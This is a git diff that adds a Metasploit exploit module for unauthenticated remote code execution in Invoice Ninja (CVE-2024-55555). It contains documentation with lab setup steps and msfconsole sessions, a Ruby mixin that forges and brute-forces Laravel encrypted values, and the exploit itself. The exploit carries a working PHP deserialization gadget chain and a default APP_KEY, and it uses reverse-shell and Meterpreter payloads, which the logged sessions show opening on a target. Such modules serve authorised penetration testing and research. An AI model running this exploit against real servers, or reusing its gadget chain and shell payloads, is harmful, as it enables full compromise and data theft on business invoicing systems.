diff --git a/documentation/modules/exploit/linux/http/invoiceninja_unauth_rce_cve_2024_55555.md b/documentation/modules/exploit/linux/http/invoiceninja_unauth_rce_cve_2024_55555.md new file mode 100644 index 0000000000..7a80d306ce --- /dev/null +++ b/documentation/modules/exploit/linux/http/invoiceninja_unauth_rce_cve_2024_55555.md @@ -0,0 +1,112 @@ +## Vulnerable Application +Invoice Ninja is a free invoicing software for small businesses, based on the PHP framework Laravel. +A Remote Code Execution vulnerability in Invoice Ninja (>= `5.8.22` <= `5.10.10`) allows remote unauthenticated +attackers to conduct PHP deserialization attacks via endpoint `/route/` which accepts a Laravel +ciphered value which is unsafe unserialized, if an attacker has access to the secret `APP_KEY`. +As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, +potentially resulting in complete system compromise, data exfiltration, or unauthorized access +to sensitive information. + +The following release was tested. +* Invoice Ninja `5.10.10` on Ubuntu 22.04 + +## Installation steps to install Invoice Ninja on a self-hosted platform +`wget https://github.com/invoiceninja/dockerfiles/archive/refs/tags/5.8.22.zip` + +`unzip 5.8.22.zip` + +`cd dockerfiles-5.8.22` + +Replace inside `docker-compose.yml` + +FROM `image: invoiceninja/invoiceninja:5` TO `image: invoiceninja/invoiceninja:5.8.22` + +Replace in `env` +`APP_KEY=base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=` + +Then, execute `docker-compose up` +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `use exploit/linux/http/linux/http/invoiceninja_uauth_rce_cve_2024_55555` +- [ ] `set rhosts ` +- [ ] `set rport ` +- [ ] `set lhost ` +- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>` +- [ ] `exploit` +- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings + +## Options +### APP_KEY +This option is required if the BRUTE_FORCE option is not used. +It is the Laravel APP_KEY with a default key: `base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=`. + +### BRUTEFORCE +This option is optional and is a text file with a list of APP_KEYs, one per line for a bruteforce attack. + +## Scenarios +### Invoice Ninja 5.10.10 on Ubuntu 22.04 - PHP Command target +Attack scenario: use the default Laravel APP_KEY preset in the option APP_KEY. +```msf +msf6 > use modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555 +[*] Using configured payload php/meterpreter/reverse_tcp +msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set rhosts 192.168.201.6 +rhosts => 192.168.201.6 +msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set lhost 192.168.201.8 +lhost => 192.168.201.8 +msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > rexploit +[*] Reloading module... +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.201.6:443 can be exploited. +[+] The target appears to be vulnerable. Invoice Ninja 5.10.10 +[*] Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie. +[*] Grabbing the cookie with the XSRF-TOKEN. +[+] APP_KEY is valid: base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= +[+] Unciphered value: e60eab8287b88f834312505e582750ae6f95a84b|6IWTnJv2f3lL1nbKRbl6LwJixPeRF5grQVTFTIuB +[*] Generate an encrypted serialization payload with our cracked APP_KEY. +[*] Executing PHP for php/meterpreter/reverse_tcp +[*] Sending stage (40004 bytes) to 192.168.201.6 +[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.6:60120) at 2025-02-23 09:47:28 +0000 + +meterpreter > getuid +Server username: www-data +meterpreter > sysinfo +Computer : cuckoo +OS : Linux cuckoo 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64 +Meterpreter : php/linux +meterpreter > pwd +/usr/share/nginx/invoiceninja/public +meterpreter > +``` +### Invoice Ninja 5.10.10 on Ubuntu 22.04 - Unix/Linux Command target +Attack scenario: use the BRUTEFORCE option with a list of APP_KEYS in a text file. +```msf +msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set target 1 +target => 1 +msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set BRUTEFORCE /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt +BRUTEFORCE => /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt +msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > rexploit +[*] Reloading module... +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.201.6:443 can be exploited. +[+] The target appears to be vulnerable. Invoice Ninja 5.10.10 +[*] Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie. +[*] Grabbing the cookie with the XSRF-TOKEN. +[*] Starting bruteforce decryption with APP_KEYS listed in /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt. +[+] APP_KEY is valid: base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= +[+] Unciphered value: e60eab8287b88f834312505e582750ae6f95a84b|3epElAO1qNeckBzHOytBrNnGrvRJSyeCBsahBkSO +[*] Generate an encrypted serialization payload with our cracked APP_KEY. +[*] Executing Unix/Linux Command for cmd/unix/reverse_bash +[*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.6:60340) at 2025-02-23 09:49:15 +0000 + +id +uid=33(www-data) gid=33(www-data) groups=33(www-data) +uname -a +Linux cuckoo 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux +pwd +/usr/share/nginx/invoiceninja/public +``` + +## Limitations +No limitations. diff --git a/lib/msf/core/exploit/laravel_crypto_killer.rb b/lib/msf/core/exploit/laravel_crypto_killer.rb new file mode 100644 index 0000000000..ec9fc5dd37 --- /dev/null +++ b/lib/msf/core/exploit/laravel_crypto_killer.rb @@ -0,0 +1,204 @@ +# -*- coding: binary -*- + +require 'cgi' + +### +# This mixin module provides methods to exploit bad implementations of decryption mechanisms in Laravel applications. +# This tool was firstly designed to craft payloads targeting the Laravel `decrypt()` function from the package `Illuminate\Encryption`. +# It can also be used to decrypt any data encrypted via `encrypt()` or `encryptString()`. +# The tool requires a valid `APP_KEY` to be used, you can also try to bruteforce them if you think there is a potential key reuse +# from a public project for example. +# Original authors of the tool: `@_remsio_` `@Kainx42` from SynActiv. +# Orignal python code can be found here: https://github.com/synacktiv/laravel-crypto-killer +# Recoded in Ruby by h00die-gr3y (h00die.gr3y[at]gmail.com) +### +module Msf::Exploit::LaravelCryptoKiller + # Check if cipher is valid + # @param [String] The cipher_mode + # + # @return [Boolean] true if mode is ok or false if mode is not valid + def valid_cipher?(cipher_mode) + ciphers ||= OpenSSL::Cipher.ciphers + ciphers.include?(cipher_mode.downcase) + end + + # Perform AES encryption in CBC mode (compatible with Laravel) + # @param [String] The value that will be encrypted + # @param [String] The IV parameter used for encryption + # @param [String] The key used for encryption + # @param [String] Cipher_mode used for encryption (AES-256-CBC) + # + # @return [String] The encrypted value or nil if unsuccessful + def aes_encrypt(value, iv, key, cipher_mode) + # Check cipher mode + unless valid_cipher?(cipher_mode) + vprint_error("Cipher is not valid: #{cipher_mode}") + return + end + # Create a new AES cipher in CBC mode + cipher = OpenSSL::Cipher.new(cipher_mode) + cipher.encrypt + cipher.key = key + cipher.iv = iv + + # Padding (similar to the pad lambda in Python) + pad_length = 16 - (value.length % 16) + padded_value = value + (pad_length.chr * pad_length) + + # Encrypt the data + cipher.update(padded_value) + rescue StandardError => e + vprint_error("AES encryption failed: #{e.message}") + end + + # Perform AES decryption in CBC mode (compatible with Laravel) + # @param [String] Encrypted value that will be decrypted + # @param [String] Random 16-byte IV parameter used for encryption + # @param [String] The key used for decryption + # @param [String] Cipher_mode used for encryption (AES-256-CBC) + # + # @return [String] The decrypted value or nil if unsuccessful + def aes_decrypt(encrypted_value, iv, key, cipher_mode) + # Check cipher mode + unless valid_cipher?(cipher_mode) + vprint_error("Cipher is not valid: #{cipher_mode}") + return + end + # Create AES cipher in CBC mode + cipher = OpenSSL::Cipher.new(cipher_mode) + cipher.decrypt + cipher.key = key + cipher.iv = iv + + # Decrypt the value + cipher.update(encrypted_value) + cipher.final + rescue OpenSSL::Cipher::CipherError => e + vprint_error("AES decryption failed: #{e.message}") + end + + # Encrypts a base64 string as a ciphered Laravel value + # @param [String] The base64-encode value that will be encrypted + # @param [String] The key used for decryption + # @param [String] Cipher_mode used for encryption (AES-256-CBC) + # + # @return [String] The base64-encoded encrypted JSON. + def laravel_encrypt(value_to_encrypt, key, cipher_mode) + key = retrieve_key(key) + iv = OpenSSL::Random.random_bytes(16) # Random 16-byte IV + tmp_bytes = Base64.strict_encode64(aes_encrypt(Base64.strict_decode64(value_to_encrypt), iv, key, cipher_mode)) + + # Base64-encode the IV + b64_iv = Base64.strict_encode64(iv).strip + + # Prepare data for output + data = { + 'iv' => b64_iv, + 'value' => tmp_bytes.strip, + 'mac' => generate_mac(key, b64_iv, tmp_bytes.strip), + 'tag' => '' # Assuming empty tag + } + # Return the final encrypted value as Base64-encoded JSON + Base64.strict_encode64(data.to_json) + end + + # Encrypts a base64 string as a Laravel session cookie. + # @param [String] The value that will be encrypted + # @param [String] The decrypted value of the Laravel session cookie + # @param [String] The key used for decryption + # @param [String] Cipher_mode used for encryption (AES-256-CBC) + # + # @return [String] The base64-encoded encrypted Laravel session_cookie value + def laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode) + decoded_value = Base64.strict_decode64(value_to_encrypt).force_encoding('utf-8') + parsed_value = decoded_value.gsub('\\', '\\\\\\').gsub('"', '\\"').gsub(/\00/, '\\u0000') + session_json_to_encrypt = "#{hash_value}|{\"data\":\"#{parsed_value}\",\"expires\":9999999999}" + laravel_encrypt(Base64.strict_encode64(session_json_to_encrypt), key, cipher_mode) + end + + # Parses Laravel cipher data + # @param [String] The base64-encoded Laravel cipher data + # + # @return [String] The laravel parsed cipher data in JSON format or nil if unsuccessful + def parse_laravel_cipher(laravel_cipher) + laravel_cipher = CGI.unescape(laravel_cipher) # Decoding URL encoded string + begin + data = JSON.parse(Base64.strict_decode64(laravel_cipher)) + rescue JSON::ParserError + vprint_error('The JSON inside your base64 is malformed') + return + rescue StandardError + vprint_error('Your base64 laravel_cipher value is malformed') + return + end + + data['value'] = Base64.strict_decode64(data['value']) + data['iv'] = Base64.strict_decode64(data['iv']) + data + end + + # Parse Laravel APP_KEY value + # @param [String] The Laravel APP_KEY + # + # @return [String] The Laravel parsed APP_KEY + def retrieve_key(key) + if key.start_with?('base64:') + Base64.strict_decode64(key.split(':')[1]) + elsif key.length == 44 + Base64.strict_decode64(key) + else + key.encode('utf-8') + end + end + + # Decrypts a Laravel ciphered string + # @param [String] The Laravel cipher to be decrypted + # @param [String] The key used for decryption + # @param [String] Cipher_mode used for encryption (AES-256-CBC) + # + # @return [String] The decrypted Laravel cipher or nil if unsuccessful + def laravel_decrypt(laravel_cipher, key, cipher_mode) + data = parse_laravel_cipher(laravel_cipher) + key = retrieve_key(key) + + begin + return aes_decrypt(data['value'], data['iv'], key, cipher_mode) + rescue StandardError + vprint_error('Your key is probably malformed or incorrect.') + end + end + + # Uses an opened file containing a key on each line to perform a brute-force attack on a given value + # @param [String] The encrypted Laravel value + # @param [String] The file with Laravel APP_KEYs per line used for brute-force decryption + # @param [String] The key used for decryption + # @param [String] Cipher_mode used for encryption (AES-256-CBC) + # + # @return [String] The valid key if it was identified with the value: {"key":, "value":} + def laravel_bruteforce_from_file(value, key_file, cipher_mode) + if !File.file?(key_file) + return nil + end + + File.foreach(key_file) do |line| + key = line.strip + decrypted_value = laravel_decrypt(value, key, cipher_mode).force_encoding('utf-8') + if decrypted_value + return { 'key' => key, 'value' => decrypted_value } + end + rescue StandardError + next + end + + nil + end + + # Generate HMAC with SHA256 + # @param [String] The value that will be encrypted + # @param [String] Random 16-byte IV parameter + # @param [String] The key + # + # @return [String] The hmac digest. + def generate_mac(key, iv, value) + return OpenSSL::HMAC.hexdigest('SHA256', key, "#{iv}#{value}") + end +end diff --git a/modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb b/modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb new file mode 100644 index 0000000000..0c59827181 --- /dev/null +++ b/modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb @@ -0,0 +1,160 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::LaravelCryptoKiller + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Invoice Ninja unauthenticated PHP Deserialization Vulnerability', + 'Description' => %q{ + Invoice Ninja is a free invoicing software for small businesses, based on the PHP framework Laravel. + A Remote Code Execution vulnerability in Invoice Ninja (>= 5.8.22 <= 5.10.10) allows remote unauthenticated + attackers to conduct PHP deserialization attacks via endpoint `/route/` which accepts a Laravel + ciphered value which is unsafe unserialized, if an attacker has access to the APP_KEY. + As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, + potentially resulting in complete system compromise, data exfiltration, or unauthorized access + to sensitive information. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'Rémi Matasse', # SynActiv Research Team - discovery of the vulnerability + 'Mickaël Benassouli' # SynActiv Research Team - discovery of the vulnerability + ], + 'References' => [ + ['CVE', '2024-55555'], + ['URL', 'https://attackerkb.com/topics/xxxxx/cve-2024-55555'], + ['URL', 'https://www.synacktiv.com/advisories/invoiceninja-unauthenticated-remote-command-execution-when-appkey-known'] + ], + 'DisclosureDate' => '2024-12-13', + 'Platform' => ['php', 'unix', 'linux'], + 'Arch' => [ARCH_PHP, ARCH_CMD], + 'Privileged' => false, + 'Targets' => [ + [ + 'PHP', + { + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Type' => :php, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + } + } + ], + [ + 'Unix/Linux Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 443 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [ true, 'The invoiceninja endpoint URL.', '/' ]), + OptString.new('APP_KEY', [ true, 'Laravel APP_KEY.', 'base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=']), + OptPath.new('BRUTEFORCE', [false, 'File with a list of APP_KEYs, one per line for a bruteforce attack.', nil]) + ]) + end + + def execute_command(cmd, _opts = {}) + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'route', cmd.to_s), + 'ctype' => 'application/x-www-form-urlencoded' + }) + end + + def check + print_status("Checking if #{peer} can be exploited.") + res = send_request_cgi!({ + 'method' => 'GET', + 'ctype' => 'application/x-www-form-urlencoded', + 'uri' => normalize_uri(target_uri.path, 'login') + }) + return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200 + + # check if target is running the Invoice Ninja platform + # search for the Invoice Ninja X-APP-VERSION within the returned headers from the login page + version_number = res.headers['X-APP-VERSION'] + return CheckCode::Safe('No Invoice Ninja platform found.') if version_number.nil? + + if Rex::Version.new(version_number).between?(Rex::Version.new('5.8.22'), Rex::Version.new('5.10.10')) + return CheckCode::Appears("Invoice Ninja #{version_number}") + end + + checkCode::Safe("Invoice Ninja #{version_number}") + end + + def exploit + # lets first check if decryption is successful with the APP_KEY by decrypting the XSRF_TOKEN inside the cookie. + # option APP_KEY is either a single entry of a file with APP_KEYS using the [file:] identifier + cipher_mode = 'AES-256-CBC' + res = send_request_cgi!({ + 'method' => 'GET', + 'ctype' => 'application/x-www-form-urlencoded', + 'uri' => normalize_uri(target_uri.path, 'login') + }) + fail_with(Failure::Unknown, 'No valid response received from target.') unless res&.code == 200 + + print_status('Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie.') + print_status('Grabbing the cookie with the XSRF-TOKEN.') + set_cookie = res.get_cookies + fail_with(Failure::NotFound, 'No cookie found.') if set_cookie.nil? + xsrf_token = set_cookie.match(/XSRF-TOKEN=([^;]+)/) + fail_with(Failure::NotFound, 'No XSRF-TOKEN found. Unable to check APP_KEY.') if xsrf_token.nil? + + if datastore['BRUTEFORCE'] + key_file = datastore['BRUTEFORCE'] + print_status("Starting bruteforce decryption with APP_KEYS listed in #{key_file}.") + result = laravel_bruteforce_from_file(xsrf_token[1], key_file, cipher_mode) + fail_with(Failure::NotFound, "Bruteforce decryption failed. No valid APP_KEY found in file #{key_file}.") if result.nil? + valid_app_key = result['key'] + unciphered_value = result['value'] + else + result = laravel_decrypt(xsrf_token[1], datastore['APP_KEY'], cipher_mode) + fail_with(Failure::BadConfig, "Decryption with APP_KEY: #{datastore['APP_KEY']} failed.") if result.nil? + valid_app_key = datastore['APP_KEY'] + unciphered_value = result + end + print_good("APP_KEY is valid: #{valid_app_key}") + print_good("Unciphered value: #{unciphered_value}") + + print_status('Generate an encrypted serialization payload with our cracked APP_KEY.') + pl = payload.encoded + pl = "php -r \"#{payload.encoded.gsub('"', '\"').gsub('$', '\$')}\"" if target['Type'] == :php + pl_len = pl.length + laravel_payload = %(a:2:{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"\x00*\x00events";O:35:"Illuminate\\Database\\DatabaseManager":2:{s:6:"\x00*\x00app";a:1:{s:6:"config";a:2:{s:16:"database.default";s:6:"system";s:20:"database.connections";a:1:{s:6:"system";a:1:{i:0;s:#{pl_len}:"#{pl}";}}}}s:13:"\x00*\x00extensions";a:1:{s:6:"system";s:12:"array_filter";}}}i:7;i:7;}) + b64_laravel_payload = Base64.strict_encode64(laravel_payload) + laravel_cipher = laravel_encrypt(b64_laravel_payload, valid_app_key, cipher_mode) + fail_with(Failure::BadConfig, 'Laravel encryption failed.') if laravel_cipher.nil? + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + execute_command(laravel_cipher) + end +end